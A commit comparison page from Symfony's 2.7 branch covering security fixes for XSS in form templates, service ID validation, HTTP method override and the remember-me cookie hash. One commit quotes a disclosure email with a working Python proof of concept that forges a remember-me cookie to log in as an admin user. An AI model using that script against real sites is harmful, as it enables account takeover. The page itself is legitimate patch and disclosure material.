Compare commits

...
This repository has been archived on 2023-08-20. You can view files and clone it, but cannot push or open issues or pull requests.

12 Commits
5.4 ... 2.7

Author SHA1 Message Date
Fabien Potencier 4d0899c5e3 bumped version 2019-04-17 18:37:53 +02:00
Fabien Potencier 649bb0095f fixed version 2019-04-17 18:37:23 +02:00
Fabien Potencier 20f9c87a12
Merge pull request #31144 from fabpot/release-2.7.51
released v2.7.51
2019-04-17 17:44:35 +02:00
Fabien Potencier 2636414523 updated VERSION for 2.7.51 2019-04-17 17:43:55 +02:00
Fabien Potencier 343865d847 updated CHANGELOG for 2.7.51 2019-04-17 17:34:40 +02:00
Nicolas Grekas 789a34ad76 security #cve-2019-10910 [DI] Check service IDs are valid (nicolas-grekas)
This PR was merged into the 2.7 branch.

Discussion
----------

[DI] Check service IDs are valid

Based on #87

Commits
-------

0671884f41 [DI] Check service IDs are valid
2019-04-16 13:06:12 +02:00
Nicolas Grekas 783ef2fb1d security #cve-2019-10909 [FrameworkBundle][Form] Fix XSS issues in the form theme of the PHP templating engine - CVE-2019-10909 (stof)
This PR was merged into the 2.7 branch.

Discussion
----------

[FrameworkBundle][Form] Fix XSS issues in the form theme of the PHP templating engine - CVE-2019-10909

https://www.intigriti.com/researcher/submission/CfDJ8Pja6NZvkpNCmx5vVyiGSn4K0Hgfyo6ynNDaSmw63JqRiMJ1Arv1xOxeLFRsv7xVI0MAspfOj8pKsT-ruB6Pfx5HvSOKt0UzPUqqpEWtGNo2kb3xuLP19uhpuMvrZOXnDA

![image](https://user-images.githubusercontent.com/211740/55671589-dc3d0700-5891-11e9-8420-2ab8961c69db.png)

Commits
-------

e645e2aa7e Fix XSS issues in the form theme of the PHP templating engine
2019-04-16 11:58:49 +02:00
Nicolas Grekas 2681a5f4ba security #cve-2019-10911 [Security] Add a separator in the remember me cookie hash (pborreli)
This PR was merged into the 2.7 branch.

Discussion
----------

[Security] Add a separator in the remember me cookie hash

Fabien found this issue reported back in 2013 but it was never resolved. Pascal (@pborreli) did the original patch.

```
> -------- Original Message --------
> Subject: No structure in remember me MAC
> Date: Tue, 4 Jun 2013 09:46:21 +0100
> From: Jon Cave <jon@joncave.co.uk>
> To: security@symfony.com
>
> I have discovered a vulnerability in the Symfony framework that
> affects version 2.3 and all other 2.x releases. The vulnerability
> would allow an attacker to authenticate as a privileged user on sites
> with user registration and remember me login functionality enabled.
>
> The problem is that there is no structure in the data that is passed
> to the hash function when generating a MAC for remember me cookies.
> From
> Symfony\Component\Security\Http\RememberMe\TokenBasedRememberMeServices::generateCookieHash():
>
>   return hash('sha256',
> $class.$username.$expires.$password.$this->getKey());
>
> This means that there are many inputs that result in the same hash.
> For example, a user can register with username "admin9" and receive
> the following cookie: "<class>:admin9:1370334467:<hash>" where <hash>
> is hash('sha256', "<class>admin91370334467<password><key>"). This
> cookie can then be modified to be: "<class>:admin:91370334467:<hash>"
> where <hash> is the same value as before. The application will load
> the "admin" user and recognise the provided hash as valid! (NB: I left
> out some base64 encoding to make things more obvious.)
>
> The solution to this is to use the same separator when generating the
> hash as is done when encoding the cookie, e.g.:
>
>   return hash('sha256', $class . ':' . $username . ':' . $expires .
> ':' . $password . ':' . $this->getKey());
>
> It would also be a good idea to switch to using hash_hmac():
>
>   return hash_hmac('sha256', $class . ':' . $username . ':' . $expires
> . ':' . $password, $this->getKey());
>
> This is because HMAC is a stronger MAC construction than the secret
> suffix one currently being used [1].
>
> Let me know if you have any questions.
>
> Cheers,
> Jon
> http://joncave.co.uk/
> @joncave
>
> [1]
> http://rdist.root.org/2009/10/29/stop-using-unsafe-keyed-hashes-use-hmac/
>
> Proof of concept code to perform the attack given a valid cookie to modify:
>
> import base64
> import requests
> import sys
>
> if __name__ == "__main__":
>     if len(sys.argv) != 3:
>         print "COOKIE URL"
>         sys.exit(1)
>
>     cookie = sys.argv[1] # Current cookie
>     url = sys.argv[2]    # URL
>
>     cls, name, expires, mac = base64.b64decode(cookie).split(":")
>
>     # Tamper
>     name = base64.b64decode(name)
>     expires = name[-1] + expires
>     name = base64.b64encode(name[:-1])
>
>     # Reconstruct
>     cookie = ":".join([cls, name, expires, mac])
>
>     print "Using cookie: " + cookie
>     print
>
>     cookies = {"REMEMBERME": base64.b64encode(cookie)}
>     print requests.get(url, cookies=cookies).text
>
>
```

Commits
-------

6356982017 [Security] Add a separator in the remember me cookie hash
2019-04-16 11:58:36 +02:00
Nicolas Grekas 722efa1f17 security #cve-2019-10913 [HttpFoundation] reject invalid method override (nicolas-grekas)
This PR was merged into the 2.7 branch.

Discussion
----------

[HttpFoundation] reject invalid method override

| Q             | A
| ------------- | ---
| Branch?       | 3.4
| Bug fix?      | yes
| New feature?  | no
| BC breaks?    | no
| Deprecations? | no
| Tests pass?   | yes
| Fixed tickets | -
| License       | MIT
| Doc PR        | -

From https://www.intigriti.com/company/submission/CfDJ8Pja6NZvkpNCmx5vVyiGSn7LV-k0ZJ4JlDGSPAaBG1sG1aNinWbVYRos8ldmLPCMSPdHLrwLufz8lXoJ-UNS3XW1_Xkxc7u9rIaENVJ_-nQV_uic7D1tmRhB6PFiBkRgBA

About `Request::getMethod`:

> There will be developers, who expect the http method to be valid and therefore will use the return value unescaped in sql, html or other dangerous places.

this is what this PR improves, forcing only ASCII letters in overridden methods.

> It is possible to set the header to "GET", "HEAD", "OPTIONS" and "TRACE". Because of this, the method Request::isMethodSafe() returns true, although the actual http method is post.

I don't think this creates any issue: not fixed.

> Normally, if you try to provide a request body in a GET-Request, the web server discards the request body. This security functionality can be completely bypassed through this. [...] Recommendation: Remove the parsed body params from the request object, if a method without a body is set.

I don't think this is valid: actually we *do* populate `$request->request` with the body of GET requests when some is sent.

> Even if very rare, some users still use old browsers, where CORS is not available. Or a server admin allowed headers to be cross origin. In those cases this functionality enables CSRF-Attackes, if the developers trusts the http method. (E.g. Shopware does this).

I don't understand this, not addressed.

ping @michaelcullum if you want to answer the person.
And other to review :)

Commits
-------

6ce9991392 [HttpFoundation] reject invalid method override
2019-04-16 11:58:21 +02:00
Fabien Potencier 0848ce2c7f
Merge pull request #29486 from fabpot/release-2.7.50
released v2.7.50
2018-12-06 14:40:04 +00:00
Fabien Potencier 95222d6f80 bumped version 2018-12-06 14:39:39 +00:00
Fabien Potencier 161aa25779 updated CHANGELOG for 2.7.50 2018-12-06 14:38:57 +00:00
11 changed files with 110 additions and 33 deletions

View File

@ -7,6 +7,18 @@ in 2.7 minor versions.
To get the diff for a specific change, go to https://github.com/symfony/symfony/commit/XXX where XXX is the change hash
To get the diff between two versions, go to https://github.com/symfony/symfony/compare/v2.7.0...v2.7.1
* 2.7.51 (2019-04-17)
* security #cve-2019-10910 [DI] Check service IDs are valid (nicolas-grekas)
* security #cve-2019-10909 [FrameworkBundle][Form] Fix XSS issues in the form theme of the PHP templating engine - CVE-2019-10909 (stof)
* security #cve-2019-10911 [Security] Add a separator in the remember me cookie hash (pborreli)
* security #cve-2019-10913 [HttpFoundation] reject invalid method override (nicolas-grekas)
* 2.7.50 (2018-12-06)
* security #cve-2018-19790 [Security\Http] detect bad redirect targets using backslashes (xabbuh)
* security #cve-2018-19789 [Form] Filter file uploads out of regular form types (nicolas-grekas)
* 2.7.49 (2018-08-01)
* security #cve-2018-14774 [HttpKernel] fix trusted headers management in HttpCache and InlineFragmentRenderer (nicolas-grekas)

View File

@ -54,12 +54,13 @@ class ProxyDumper implements DumperInterface
{
$instantiation = 'return';
if (ContainerInterface::SCOPE_CONTAINER === $definition->getScope()) {
$instantiation .= " \$this->services['$id'] =";
} elseif (ContainerInterface::SCOPE_PROTOTYPE !== $scope = $definition->getScope()) {
$instantiation .= " \$this->services['$id'] = \$this->scopedServices['$scope']['$id'] =";
if (ContainerInterface::SCOPE_CONTAINER === $scope = $definition->getScope()) {
$instantiation .= ' $this->services[%s] =';
} elseif (ContainerInterface::SCOPE_PROTOTYPE !== $definition->getScope()) {
$instantiation .= ' $this->services[%s] = $this->scopedServices[%s][%1$s] =';
}
$instantiation = sprintf($instantiation, var_export($id, true), var_export($scope, true));
$methodName = 'get'.Container::camelize($id).'Service';
$proxyClass = $this->getProxyClassName($definition);

View File

@ -11,7 +11,7 @@
<?php if (count($preferred_choices) > 0): ?>
<?php echo $view['form']->block($form, 'choice_widget_options', array('choices' => $preferred_choices)) ?>
<?php if (count($choices) > 0 && null !== $separator): ?>
<option disabled="disabled"><?php echo $separator ?></option>
<option disabled="disabled"><?php echo $view->escape($separator) ?></option>
<?php endif ?>
<?php endif ?>
<?php echo $view['form']->block($form, 'choice_widget_options', array('choices' => $choices)) ?>

View File

@ -1,7 +1,7 @@
<?php if (count($errors) > 0): ?>
<ul>
<?php foreach ($errors as $error): ?>
<li><?php echo $error->getMessage() ?></li>
<li><?php echo $view->escape($error->getMessage()) ?></li>
<?php endforeach; ?>
</ul>
<?php endif ?>

View File

@ -1,6 +1,6 @@
<?php $method = strtoupper($method) ?>
<?php $form_method = $method === 'GET' || $method === 'POST' ? $method : 'POST' ?>
<form name="<?php echo $name ?>" method="<?php echo strtolower($form_method) ?>" action="<?php echo $action ?>"<?php foreach ($attr as $k => $v) { printf(' %s="%s"', $view->escape($k), $view->escape($v)); } ?><?php if ($multipart): ?> enctype="multipart/form-data"<?php endif ?>>
<form name="<?php echo $name ?>" method="<?php echo strtolower($form_method) ?>" action="<?php echo $view->escape($action) ?>"<?php foreach ($attr as $k => $v) { printf(' %s="%s"', $view->escape($k), $view->escape($v)); } ?><?php if ($multipart): ?> enctype="multipart/form-data"<?php endif ?>>
<?php if ($form_method !== $method): ?>
<input type="hidden" name="_method" value="<?php echo $method ?>" />
<input type="hidden" name="_method" value="<?php echo $view->escape($method) ?>" />
<?php endif ?>

View File

@ -622,6 +622,10 @@ class ContainerBuilder extends Container implements TaggedContainerInterface
{
$alias = strtolower($alias);
if ('' === $alias || '\\' === substr($alias, -1) || \strlen($alias) !== strcspn($alias, "\0\r\n'")) {
throw new InvalidArgumentException(sprintf('Invalid alias id: "%s"', $alias));
}
if (is_string($id)) {
$id = new Alias($id);
} elseif (!$id instanceof Alias) {
@ -756,6 +760,10 @@ class ContainerBuilder extends Container implements TaggedContainerInterface
$id = strtolower($id);
if ('' === $id || '\\' === substr($id, -1) || \strlen($id) !== strcspn($id, "\0\r\n'")) {
throw new InvalidArgumentException(sprintf('Invalid service id: "%s"', $id));
}
unset($this->aliasDefinitions[$id]);
return $this->definitions[$id] = $definition;

View File

@ -377,9 +377,9 @@ class PhpDumper extends Dumper
$instantiation = '';
if (!$isProxyCandidate && ContainerInterface::SCOPE_CONTAINER === $definition->getScope()) {
$instantiation = "\$this->services['$id'] = ".($simple ? '' : '$instance');
$instantiation = sprintf('$this->services[%s] = %s', var_export($id, true), $simple ? '' : '$instance');
} elseif (!$isProxyCandidate && ContainerInterface::SCOPE_PROTOTYPE !== $scope = $definition->getScope()) {
$instantiation = "\$this->services['$id'] = \$this->scopedServices['$scope']['$id'] = ".($simple ? '' : '$instance');
$instantiation = sprintf('$this->services[%s] = $this->scopedServices[%s][%1$s] = %s', var_export($id, true), var_export($scope, true), $simple ? '' : '$instance');
} elseif (!$simple) {
$instantiation = '$instance';
}
@ -598,6 +598,9 @@ class PhpDumper extends Dumper
* Gets the $public '$id'$shared service.
*
* $return
EOF;
$code = str_replace('*/', ' ', $code).<<<EOF
*/
{$visibility} function get{$this->camelize($id)}Service($lazyInitialization)
{
@ -609,7 +612,7 @@ EOF;
if (!in_array($scope, array(ContainerInterface::SCOPE_CONTAINER, ContainerInterface::SCOPE_PROTOTYPE))) {
$code .= <<<EOF
if (!isset(\$this->scopedServices['$scope'])) {
throw new InactiveScopeException('$id', '$scope');
throw new InactiveScopeException({$this->export($id)}, '$scope');
}
@ -617,7 +620,7 @@ EOF;
}
if ($definition->isSynthetic()) {
$code .= sprintf(" throw new RuntimeException('You have requested a synthetic service (\"%s\"). The DIC does not know how to construct this service.');\n }\n", $id);
$code .= sprintf(" throw new RuntimeException(%s);\n }\n", var_export("You have requested a synthetic service (\"$id\"). The DIC does not know how to construct this service.", true));
} else {
$code .=
$this->addServiceInclude($definition).
@ -691,10 +694,11 @@ EOF;
$arguments[] = $this->dumpValue($value);
}
$call = $this->wrapServiceConditionals($call[1], sprintf("\$this->get('%s')->%s(%s);", $definitionId, $call[0], implode(', ', $arguments)));
$definitionId = var_export($definitionId, true);
$call = $this->wrapServiceConditionals($call[1], sprintf('$this->get(%s)->%s(%s);', $definitionId, $call[0], implode(', ', $arguments)));
$code .= <<<EOF
if (\$this->initialized('$definitionId')) {
if (\$this->initialized($definitionId)) {
$call
}
@ -1127,7 +1131,7 @@ EOF;
$conditions = array();
foreach ($services as $service) {
$conditions[] = sprintf("\$this->has('%s')", $service);
$conditions[] = sprintf('$this->has(%s)', var_export($service, true));
}
// re-indent the wrapped code
@ -1404,11 +1408,13 @@ EOF;
*/
public function dumpParameter($name)
{
$name = (string) $name;
if ($this->container->isFrozen() && $this->container->hasParameter($name)) {
return $this->dumpValue($this->container->getParameter($name), false);
}
return sprintf("\$this->getParameter('%s')", strtolower($name));
return sprintf('$this->getParameter(%s)', var_export($name, true));
}
/**
@ -1443,10 +1449,10 @@ EOF;
}
if (null !== $reference && ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE !== $reference->getInvalidBehavior()) {
return sprintf('$this->get(\'%s\', ContainerInterface::NULL_ON_INVALID_REFERENCE)', $id);
return sprintf('$this->get(%s, ContainerInterface::NULL_ON_INVALID_REFERENCE)', var_export($id, true));
}
return sprintf('$this->get(\'%s\')', $id);
return sprintf('$this->get(%s)', var_export($id, true));
}
/**

View File

@ -111,6 +111,38 @@ class ContainerBuilderTest extends TestCase
$this->assertSame($builder->get('bar'), $builder->get('bar'), '->get() always returns the same instance if the service is shared');
}
/**
* @expectedException \Symfony\Component\DependencyInjection\Exception\InvalidArgumentException
* @dataProvider provideBadId
*/
public function testBadAliasId($id)
{
$builder = new ContainerBuilder();
$builder->setAlias($id, 'foo');
}
/**
* @expectedException \Symfony\Component\DependencyInjection\Exception\InvalidArgumentException
* @dataProvider provideBadId
*/
public function testBadDefinitionId($id)
{
$builder = new ContainerBuilder();
$builder->setDefinition($id, new Definition('Foo'));
}
public function provideBadId()
{
return [
[''],
["\0"],
["\r"],
["\n"],
["'"],
['ab\\'],
];
}
/**
* @expectedException \Symfony\Component\DependencyInjection\Exception\RuntimeException
* @expectedExceptionMessage You have requested a synthetic service ("foo"). The DIC does not know how to construct this service.

View File

@ -1290,19 +1290,37 @@ class Request
*/
public function getMethod()
{
if (null === $this->method) {
$this->method = strtoupper($this->server->get('REQUEST_METHOD', 'GET'));
if ('POST' === $this->method) {
if ($method = $this->headers->get('X-HTTP-METHOD-OVERRIDE')) {
$this->method = strtoupper($method);
} elseif (self::$httpMethodParameterOverride) {
$this->method = strtoupper($this->request->get('_method', $this->query->get('_method', 'POST')));
}
}
if (null !== $this->method) {
return $this->method;
}
return $this->method;
$this->method = strtoupper($this->server->get('REQUEST_METHOD', 'GET'));
if ('POST' !== $this->method) {
return $this->method;
}
$method = $this->headers->get('X-HTTP-METHOD-OVERRIDE');
if (!$method && self::$httpMethodParameterOverride) {
$method = $this->request->get('_method', $this->query->get('_method', 'POST'));
}
if (!\is_string($method)) {
return $this->method;
}
$method = strtoupper($method);
if (\in_array($method, array('GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'CONNECT', 'OPTIONS', 'PATCH', 'PURGE', 'TRACE'), true)) {
return $this->method = $method;
}
if (!preg_match('/^[A-Z]++$/D', $method)) {
throw new \UnexpectedValueException(sprintf('Invalid method override "%s".', $method));
}
return $this->method = $method;
}
/**

View File

@ -58,11 +58,11 @@ abstract class Kernel implements KernelInterface, TerminableInterface
protected $startTime;
protected $loadClassCache;
const VERSION = '2.7.49';
const VERSION_ID = 20749;
const VERSION = '2.7.52';
const VERSION_ID = 20752;
const MAJOR_VERSION = 2;
const MINOR_VERSION = 7;
const RELEASE_VERSION = 49;
const RELEASE_VERSION = 52;
const EXTRA_VERSION = '';
const END_OF_MAINTENANCE = '05/2018';

View File

@ -121,6 +121,6 @@ class TokenBasedRememberMeServices extends AbstractRememberMeServices
*/
protected function generateCookieHash($class, $username, $expires, $password)
{
return hash_hmac('sha256', $class.$username.$expires.$password, $this->getKey());
return hash_hmac('sha256', $class.self::COOKIE_DELIMITER.$username.self::COOKIE_DELIMITER.$expires.self::COOKIE_DELIMITER.$password, $this->getKey());
}
}